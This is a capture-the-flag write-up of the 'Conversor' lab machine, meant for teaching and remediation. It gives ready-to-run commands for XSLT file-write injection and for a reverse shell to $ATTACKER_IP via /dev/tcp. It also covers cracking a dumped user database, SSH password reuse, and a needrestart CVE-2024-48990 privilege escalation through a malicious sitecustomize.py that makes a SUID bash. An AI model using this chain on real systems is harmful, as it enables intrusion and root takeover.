Conversor
Summary
Target Conversor ($TARGET) hosts a file-conversion web application on Apache 2.4.52. After registering an account and downloading a source-code archive, I found that the converter passed user-supplied XSLT stylesheets to a processor with the EXSLT exsl:document extension enabled, allowing any authenticated user to write arbitrary files to the server filesystem. A malicious stylesheet overwrote a script that a root-owned cron job executed on a regular interval; when the scheduler fired, a reverse shell arrived as the www-data web user.
Looting the application's SQLite user database from that shell yielded the password for local account fismathack in recoverable form — the same password was reused as the user's SSH login, providing an interactive shell and the user flag. On that account, an unpatched installation of needrestart (CVE-2024-48990) inherited my PYTHONPATH, loading a malicious sitecustomize.py as root; the module created a SUID copy of bash that delivered the root flag.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"Some commands also carry a value in angle brackets — <hash_value> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 3
Full TCP sweep with version detection; reveals ports 22 and 80.
$ nmap -sC -sV -p- --min-rate 5000 -oA conversor $TARGETRegister the virtual host for name-based access.
$ echo "$TARGET conversor.htb" | sudo tee -a /etc/hostsConfirm app is reachable and record the Server header.
$ curl -si http://conversor.htb/Exact commands 3
Register an account; adjust field names to match the actual registration form.
$ curl -sc /tmp/conv.jar -X POST http://conversor.htb/register -d "username=$USERNAME&password=$PASSWORD2&email=$USERNAME@test.local" -LDownload and unpack the source archive while authenticated.
$ curl -sb /tmp/conv.jar http://conversor.htb/source_code.tar.gz -o /tmp/source_code.tar.gz && mkdir -p /tmp/src && tar -xzf /tmp/source_code.tar.gz -C /tmp/src/Confirm EXSLT file-write support is enabled in the XSLT processing code.
$ grep -rn 'exsl\|exslt\|extension-element\|exsl:document' /tmp/src/FixDisable the EXSLT exsl:document extension in the XSLT processorCritical
Exact commands 3
Replace $ATTACKER_IP with your tun0 address and the href with the cron script path identified from source review.
$ cat > /tmp/shell.xslt <<EOF
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:exsl="http://exslt.org/common"
extension-element-prefixes="exsl">
<xsl:template match="/">
<exsl:document href="/var/www/conversor/cron_jobs/run.sh" method="text">
<xsl:text>#!/bin/bash
bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1
</xsl:text>
</exsl:document>
</xsl:template>
</xsl:stylesheet>
EOFStart the listener before uploading; run in a separate terminal.
$ nc -lvnp 4444Submit the malicious stylesheet; the processor writes the reverse-shell script to the target path.
$ curl -sb /tmp/conv.jar -X POST http://conversor.htb/convert -F 'file=@/tmp/shell.xslt;type=text/xml'Exact commands 3
Run in the reverse shell to confirm execution context (uid=33 www-data) and target IP ($TARGET).
$ id; hostname; hostname -ISearch for the application's SQLite credential store from the www-data shell.
$ find / -name 'users.db' 2>/dev/nullCopy the database to /tmp for exfiltration; adjust path to the result found above.
$ cp /path/to/users.db /tmp/users.db && cat /tmp/users.db | xxd | head -20FixEnsure no cron-executed script is writable by the web service accountHigh
Exact commands 3
List tables in the database; run locally after transferring users.db via base64 or a wget/curl pull.
$ sqlite3 users.db '.tables'Dump all user rows; note any hash or plaintext password column for fismathack.
$ sqlite3 users.db 'SELECT * FROM users;'Crack an MD5 hash if the password is not stored in plaintext; result: <withheld>.
$ hashcat -m 0 '<hash_value>' /usr/share/wordlists/rockyou.txt --forceFixSeparate application credentials from OS account credentials and hash passwords properlyCritical
Exact commands 2
Password: $PASSWORD — delivers an interactive SSH session as fismathack.
$ ssh fismathack@$TARGETRead the user flag: <user.txt>
$ cat /home/fismathack/user.txtExact commands 4
Write the malicious Python module; it only fires the payload when loaded as root.
$ cat > /dev/shm/sitecustomize.py << 'PY'
import os
if os.geteuid() == 0:
os.system('cp /bin/bash /tmp/rootbash; chown root:root /tmp/rootbash; chmod 4755 /tmp/rootbash')
PYTrigger needrestart with PYTHONPATH set; adjust to whatever invocation fismathack can perform (sudo apt, a cron hook, etc.). Confirm rootbash appears with SUID bit (-rwsr-xr-x).
$ PYTHONPATH=/dev/shm sudo apt-get install -y --reinstall needrestart 2>/dev/null; ls -la /tmp/rootbashOpen a root-privileged shell; -p preserves the SUID effective UID.
$ /tmp/rootbash -pRead the root flag: <root.txt>
$ cat /root/root.txtFixPatch needrestart to version 3.8 or later to close CVE-2024-48990High
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Cron Job AbuseLinux · Privilege EscalationT1053.003
What it is
Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.
Why it works
Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.52 |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.